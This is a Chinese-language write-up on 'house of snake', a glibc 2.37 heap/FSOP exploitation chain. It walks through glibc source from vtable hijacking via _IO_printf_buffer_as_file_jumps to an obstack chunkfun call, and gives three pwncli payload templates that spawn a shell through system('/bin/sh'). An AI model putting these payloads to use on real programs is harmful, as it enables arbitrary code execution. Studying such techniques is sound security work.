前言
之前听说glibc2.37
删除了_IO_obstack_jumps
这个vtable
。但是在源码里还看到obstack
结构体存在,那么glibc2.37
真的不能再调用_IO_obstack_jumps
的那条链吗?看完本文就知道还可以调用_IO_obstack_jumps
那条链的关键部分。但目前这条链只存在glibc2.37
,所以现在可能还没有利用场景。在此结合源码和自己的理解和大家分享一下,也感谢roderick
师傅和whiter
师傅的指导与支持。如果有哪里不对恳请师傅们斧正!
简介
在此,我称这条链为house of snake
,此利用链与house of apple
、house of cat
、house of emma
等利用一样,利用了修改虚表指针的方法。主要思路就是伪造相关结构体并且修改虚表指针为_IO_printf_buffer_as_file_jumps
实现攻击。
利用条件
1.能修改stdout
、stdin
、stderr
其中一个_IO_FILE_plus
结构(fastbin attack或tcachebin attack)或劫持 _IO_list_all
。(如large bin attack
、tcache stashing unlink attack
、fastbin reverse into tcache
)
2.能够触发IO
流,执行IO
相关函数。
3.能够泄露堆地址和libc
基址。
利用原理
前置知识
vtable 劫持的检测措施
在 2.24
版本的 glibc
以后,加入了针对 IO_FILE_plus
的 vtable
劫持的检测措施,glibc
会在调用虚函数之前首先检查 vtable
地址的合法性。首先会验证 vtable
是否位于_IO_vtable
段中,如果满足条件就正常执行,否则会调用_IO_vtable_check
做进一步检查。
简单来说,如果 vtable 地址是非法的,那么会引发 abort
。
_IO_FILE结构体
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | struct _IO_FILE {
int _flags;
char * _IO_read_ptr; / * Current read pointer * /
char * _IO_read_end; / * End of get area. * /
char * _IO_read_base; / * Start of putback + get area. * /
char * _IO_write_base; / * Start of put area. * /
char * _IO_write_ptr; / * Current put pointer. * /
char * _IO_write_end; / * End of put area. * /
char * _IO_buf_base; / * Start of reserve area. * /
char * _IO_buf_end; / * End of reserve area. * /
/ * The following fields are used to support backing up and undo. * /
char * _IO_save_base; / * Pointer to start of non - current get area. * /
char * _IO_backup_base; / * Pointer to first valid character of backup area * /
char * _IO_save_end; / * Pointer to end of non - current get area. * /
struct _IO_marker * _markers;
struct _IO_FILE * _chain;
int _fileno;
int _blksize;
int _flags2;
_IO_off_t _old_offset; / * This used to be _offset but it's too small. * /
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[ 1 ];
/ * char * _save_gptr; char * _save_egptr; * /
_IO_lock_t * _lock;
};
|
该结构体应该不难理解,不过多赘述。
_IO_jump_t结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/ * showmany * /
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
get_column;
set_column;
};
|
当我们对一个文件对象fp
进行操作时,往往会使用到_IO_jump_t
结构体内某一函数。
_IO_FILE_plus结构体
源码如下:
1 2 3 4 5 | struct _IO_FILE_plus
{
_IO_FILE file ;
const struct _IO_jump_t * vtable;
};
|
也就是在_IO_FILE
追加了个指向_IO_jump_t
结构体的指针。
__printf_buffer结构体
1 2 3 4 5 6 7 8 | struct __printf_buffer
{
char * write_base;
char * write_ptr;
char * write_end;
uint64_t written;
enum __printf_buffer_mode mode;
};
|
了解存在这个结构体即可。
__printf_buffer_as_file结构体
1 2 3 4 5 6 7 8 9 | struct __printf_buffer_as_file
{
/ * Interface to libio. * /
FILE stream;
const struct _IO_jump_t * vtable;
/ * Pointer to the underlying buffer . * /
struct __printf_buffer * next ;
};
|
其中FILE
就是_IO_FILE_plus
,就是在_IO_FILE_plus
结构体后追加了个指向__printf_buffer
结构体的指针。这个结构体是关键结构体之一,因为本文提及的调用链离不开这个结构体。
简单总结一下,就是一个常见的_IO_FILE_plus
后面追加了一个结构体指针,我们只要认识到这一点就行了。
obstack结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | struct obstack / * control current object in current chunk * /
{
long chunk_size; / * preferred size to allocate chunks in * /
struct _obstack_chunk * chunk; / * address of current struct obstack_chunk * /
char * object_base; / * address of object we are building * /
char * next_free; / * where to add next char to current object * /
char * chunk_limit; / * address of char after current chunk * /
union
{
PTR_INT_TYPE tempint;
void * tempptr;
} temp; / * Temporary for some macros. * /
int alignment_mask; / * Mask of alignment for each object . * /
struct _obstack_chunk * ( * chunkfun) (void * , long );
void ( * freefun) (void * , struct _obstack_chunk * );
void * extra_arg; / * first arg for chunk alloc / dealloc funcs * /
unsigned use_extra_arg : 1 ; / * chunk alloc / dealloc funcs take extra arg * /
unsigned maybe_empty_object : 1 ; / * There is a possibility that the current
unsigned alloc_failed : 1 ; / * No longer used, as we now call the failed
handler on error, but retained for binary
compatibility. * /
};
|
在此,我们只需要知道有这个结构体即可,不需要过多的探究每个成员的意义。
__printf_buffer_obstack结构体
1 2 3 4 5 6 7 | struct __printf_buffer_obstack
{
struct __printf_buffer base;
struct obstack * obstack;
char ch;
};
|
就是在__printf_buffer
结构体后追加了一个obstack
结构体指针和一个char
类型的变量,这个结构体也是关键结构体之一。
调用链分析
_IO_printf_buffer_as_file_jumps
由上可知,vtable
必须合法,在glibc2.37
中有一个新的vtable
,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | static const struct _IO_jump_t _IO_printf_buffer_as_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, NULL),
JUMP_INIT(overflow, __printf_buffer_as_file_overflow), / / 函数一
JUMP_INIT(underflow, NULL),
JUMP_INIT(uflow, NULL),
JUMP_INIT(pbackfail, NULL),
JUMP_INIT(xsputn, __printf_buffer_as_file_xsputn), / / 函数二
JUMP_INIT(xsgetn, NULL),
JUMP_INIT(seekoff, NULL),
JUMP_INIT(seekpos, NULL),
JUMP_INIT(setbuf, NULL),
JUMP_INIT(sync, NULL),
JUMP_INIT(doallocate, NULL),
JUMP_INIT(read, NULL),
JUMP_INIT(write, NULL),
JUMP_INIT(seek, NULL),
JUMP_INIT(close, NULL),
JUMP_INIT(stat, NULL),
JUMP_INIT(showmanyc, NULL),
JUMP_INIT(imbue, NULL)
};
|
可知,该vtable
内只存在两个函数,分别为__printf_buffer_as_file_overflow
,__printf_buffer_as_file_xsputn
接下来我们先对__printf_buffer_as_file_overflow
进行分析。
前言
笔者对该利用链分析只关注调用过程,要绕过的条件先按下不表,最后再总结!
__printf_buffer_as_file_overflow函数
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | static int
__printf_buffer_as_file_overflow ( FILE * fp, int ch)
{
struct __printf_buffer_as_file * file = (struct __printf_buffer_as_file * ) fp;
__printf_buffer_as_file_commit ( file );
/ * EOF means only a flush is requested. * /
if (ch ! = EOF)
__printf_buffer_putc ( file - > next , ch);
/ * Ensure that flushing actually produces room. * /
if (!__printf_buffer_has_failed ( file - > next )
&& file - > next - >write_ptr = = file - > next - >write_end)
__printf_buffer_flush ( file - > next );
[...]
}
|
该函数首先堆传入的第一个参数强制类型转换为__printf_buffer_as_file
并赋给变量file
,然后调用__printf_buffer_as_file_commit
函数,
__printf_buffer_as_file_commit函数
该函数源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 | static void
__printf_buffer_as_file_commit (struct __printf_buffer_as_file * file )
{
/ * Check that the write pointers in the file stream are consistent
with the next buffer . * /
assert ( file - >stream._IO_write_ptr > = file - > next - >write_ptr);
assert ( file - >stream._IO_write_ptr < = file - > next - >write_end);
assert ( file - >stream._IO_write_base = = file - > next - >write_base);
assert ( file - >stream._IO_write_end = = file - > next - >write_end);
file - > next - >write_ptr = file - >stream._IO_write_ptr;
}
|
可以看出该函数通过断言对file
结构体中的stream
结构体与next
结构体中的成员进行一系列判断,然后做一个赋值的操作。
__printf_buffer_putc函数
可以看到若ch != EOF
就调用__printf_buffer_putc
,源码如下:
1 2 3 4 5 6 7 8 | static inline void
__printf_buffer_putc (struct __printf_buffer * buf, char ch)
{
if (buf - >write_ptr ! = buf - >write_end)
* buf - >write_ptr + + = ch;
else
__printf_buffer_putc_1 (buf, ch);
}
|
可知__printf_buffer_putc
只是做了一些指针记录的数值加减的操作,对此我们不用过多关注。
然后有判断:if (!__printf_buffer_has_failed (file->next) && file->next->write_ptr == file->next->write_end)
就是判断__printf_buffer_as_file
结构体中的mode成员是不是__printf_buffer_mode_failed
以及file->next->write_ptr == file->next->write_end
,我们假设满足这两个条件,会调用__printf_buffer_flush (file->next)
__printf_buffer_flush 函数
这个函数笔者无法直接在源码中找到,但是配合gdb
,笔者还是发现了它的蛛丝马迹。
它其实就是__printf_buffer_do_flush
,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | static void
__printf_buffer_do_flush (struct __printf_buffer * buf)
{
switch (buf - >mode)
{
case __printf_buffer_mode_failed:
case __printf_buffer_mode_sprintf:
return ;
case __printf_buffer_mode_snprintf:
__printf_buffer_flush_snprintf ((struct __printf_buffer_snprintf * ) buf);
return ;
......
case __printf_buffer_mode_fphex_to_wide:
__printf_buffer_flush_fphex_to_wide
((struct __printf_buffer_fphex_to_wide * ) buf);
return ;
case __printf_buffer_mode_obstack:
__printf_buffer_flush_obstack ((struct __printf_buffer_obstack * ) buf);
return ;
}
__builtin_trap ();
}
|
在这里我们关注进入__printf_buffer_flush_obstack
函数的这一分支
__printf_buffer_flush_obstack
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | void
__printf_buffer_flush_obstack (struct __printf_buffer_obstack * buf)
{
/ * About to switch buffers, so record the bytes written so far. * /
buf - >base.written + = buf - >base.write_ptr - buf - >base.write_base;
if (buf - >base.write_ptr = = &buf - >ch + 1 )
{
/ * Errors are reported via a callback mechanism (presumably for
process termination). * /
obstack_1grow (buf - >obstack, buf - >ch);
[...]
}
}
|
假设满足所有条件进入obstack_1grow
宏定义。
obstack_1grow宏定义
1 2 3 4 5 6 7 | __extension__ \
({ struct obstack * __o = (OBSTACK); \
if (__o - >next_free + 1 > __o - >chunk_limit) \
_obstack_newchunk (__o, 1 ); \
obstack_1grow_fast (__o, datum); \
(void) 0 ; })
|
可以看到里面还有个宏定义,然后又_obstack_newchunk
这一个函数。
_obstack_newchunk函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | void
_obstack_newchunk (struct obstack * h, int length)
{
struct _obstack_chunk * old_chunk = h - >chunk;
struct _obstack_chunk * new_chunk;
long new_size;
long obj_size = h - >next_free - h - >object_base;
long i;
long already;
char * object_base;
/ * Compute size for new chunk. * /
new_size = (obj_size + length) + (obj_size >> 3 ) + h - >alignment_mask + 100 ;
if (new_size < h - >chunk_size)
new_size = h - >chunk_size;
/ * Allocate and initialize the new chunk. * /
new_chunk = CALL_CHUNKFUN (h, new_size);
[...]
|
假设满足所有条件,进入CALL_CHUNKFUN
这个宏定义,该宏定义的源码如下:
1 2 3 4 | (((h) - >use_extra_arg) \
? ( * (h) - >chunkfun)((h) - >extra_arg, (size)) \
: ( * (struct _obstack_chunk * ( * )( long ))(h) - >chunkfun)((size)))
|
可以看到当(((h)->use_extra_arg)
不为0时,会调用(*(h)->chunkfun)
,它的参数是(h)->extra_arg
和(size)
,而我们可以控制(*(h)->chunkfun)
与(h)->extra_arg
,从而执行system('/bin/sh')
。
如果各位跟着本文分析到这,估计就豁然开朗了,因为后半部分与_IO_obstack_xsputn
的调用链一样。
完成调用链必要的绕过条件
回顾一下整个分析过程并将所有相关结构体,并都看成__printf_buffer_as_file
结构体,有以下条件:
在__printf_buffer_as_file_overflow
函数中:
file->next->mode!=__printf_buffer_mode_failed
&& file->next->write_ptr == file->next->write_end
在__printf_buffer_as_file_commit
函数中:
file->stream._IO_write_ptr >= file->next->write_ptr
file->stream._IO_write_ptr <= file->next->write_end
file->stream._IO_write_base == file->next->write_base
file->stream._IO_write_end == file->next->write_end
在__printf_buffer_flush
函数中:
file->next->mode =__printf_buffer_mode_obstack
在__printf_buffer_flush_obstack
函数中:
buf->base.write_ptr == &buf->ch + 1
<==> file->next.write_ptr == &(file->next) + 0x30 + 1
在obstack_1grow
宏定义中:
(struct __printf_buffer_obstack *) file->obstack->next_free + 1 > (struct __printf_buffer_obstack *) file->obstack->chunk_limit
(h)->use_extra_arg
不为0 <==> (struct __printf_buffer_obstack *) file->obstack->use_extra_arg != 0
- 注:
__printf_buffer_mode_obstack
就是0xb
利用思路
本文分析基于amd64
下通过FSOP
触发。
我们知道FSOP
的核心思想就是劫持_IO_list_all
的值来伪造链表和其中的_IO_FILE
项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是exit
函数调用_IO_flush_all_lockp
,这个函数会刷新_IO_list_all
链表中所有项的文件流,相当于对每个 FILE
调用 fflush
,也对应着会调用_IO_FILE_plus.vtable
中的_IO_overflow
。
我们调试可以知道_IO_overflow
位于vtable
指针所指向地址+0x18
处,也就是说当FSOP
发生的时候会调用_IO_FILE_plus.vtable
中的_IO_overflow
。即调用vtable
指针所指向地址 + 0x18
处的数据。
那么只要我们伪造一个_IO_FILE
结构体,将它的vtable
替换为&_IO_printf_buffer_as_file_jumps
,此时vtable
指针所指地址+0x18
处为__printf_buffer_as_file_overflow
,然后伪造上述所有需要满足的条件(详见poc
与攻击模板),就可以完成攻击,如下:
POC
编译POC
patchelf
1 2 | patchelf - - set - rpath 你存放编译后的文件路径 / bin / lib . / POC
patchelf - - set - interpreter 你存放编译后的文件路径 / bin / lib / ld - linux - x86 - 64.so . 2 . / POC
|
运行
攻击模板
以下攻击模板全是在FSOP
下的,可以点击这里下载附件尝试以下三种攻击。
分别伪造__printf_buffer与obstack结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | from pwncli import *
fp = IO_FILE_plus_struct()
fp.vtable = 0x1ced60 + lb
fp._IO_write_ptr = leak_heap + 0xe8 + 0x30 + 1
fp._IO_write_end = leak_heap + 0xe8 + 0x30 + 1
fp._IO_write_base = 0x0
pd = flat(
{
0x0 :bytes(fp),
0xe0 :leak_heap + 0xe8 ,
0xe8 :[
0 ,
0 ,
leak_heap + 0xe8 + 0x30 + 1 ,
leak_heap + 0x110 ,
p32( 11 ),
],
0x110 :leak_heap + 0x110 ,
0x110 + 0x18 :[
'/bin/sh\x00' ,
0
],
0x110 + 0x38 :libc.sym.system,
0x110 + 0x48 :leak_heap + 0x110 + 0x18 ,
0x110 + 0x50 :[ 0xff ]
}
)
|
obstack结构体与FILE结构体内存复用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | from pwncli import *
fp = IO_FILE_plus_struct()
fp.vtable = 0x1ced60 + lb
fp._IO_write_ptr = leak_heap + 0xe8 + 0x30 + 1
fp._IO_write_end = leak_heap + 0xe8 + 0x30 + 1
fp._IO_write_base = 0x0
fp._IO_read_base = 0x68732f6e69622f
fp._IO_backup_base = 0xff
fp._IO_buf_base = libc.sym.system
fp._IO_save_base = leak_heap + 0x18
pd = flat(
{
0x0 :bytes(fp),
0xe0 :leak_heap + 0xe8 ,
0xe8 :[
0 ,
0 ,
leak_heap + 0xe8 + 0x30 + 1 ,
leak_heap + 0x110 ,
p32( 11 ),
],
0x110 :leak_heap,
}
)
|
__printf_buffer结构、obstack结构体与FILE结构体内存复用
这个payload
需要的内存是最小的,只需要0xe0
字节大小的内存。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | from pwncli import *
fp = IO_FILE_plus_struct()
fp.vtable = 0x1ced60 + lb
fp._IO_write_ptr = fake_printf_buffer + 0x30 + 1
fp._IO_write_end = fake_printf_buffer + 0x30 + 1
fp._IO_write_base = 0x0
fp._IO_backup_base = 0xff
fp._IO_buf_base = libc.sym.system
fp._IO_save_base = fake_fp + 0xa0
fp._wide_data = 0x68732f6e69622f
fp = payload_replace(bytes(fp),{
0x58 : 0 ,
0x60 : 0 ,
0x68 :fake_printf_buffer + 0x30 + 1 ,
0x70 : 0 ,
0x78 : 11 ,
0x80 :fake_fp
})
pd = flat(
{
0x0 :bytes(fp),
0xe0 :fake_printf_buffer,
}
)
|
总结
该利用链看起来需要绕过的条件很多,但是并不复杂,并且可以稳定控制rdi
与rip
。但是ubuntu
还没有使用glibc2.37
,所以目前这条链新的还没有利用场景2333
。但我相信以后说不定会有它的利用场景。
附录
1 2 3 4 5 6 7 8 | struct __printf_buffer
{
char * write_base; 0x0 - 0x8
char * write_ptr; 0x8 - 0x10
char * write_end; 0x10 - 0x18
uint64_t written; 0x18 - 0x20
enum __printf_buffer_mode mode; 0x20 - 0x24
};
|
1 2 3 4 5 6 7 | struct __printf_buffer_obstack
{
struct __printf_buffer base; 0x0 - 0x24
struct obstack * obstack; 0x28 - 0x30
char ch; 0x30 - 0x31
};
|
零基础网络安全攻防-研修见习班
最后于 2天前
被7resp4ss编辑
,原因: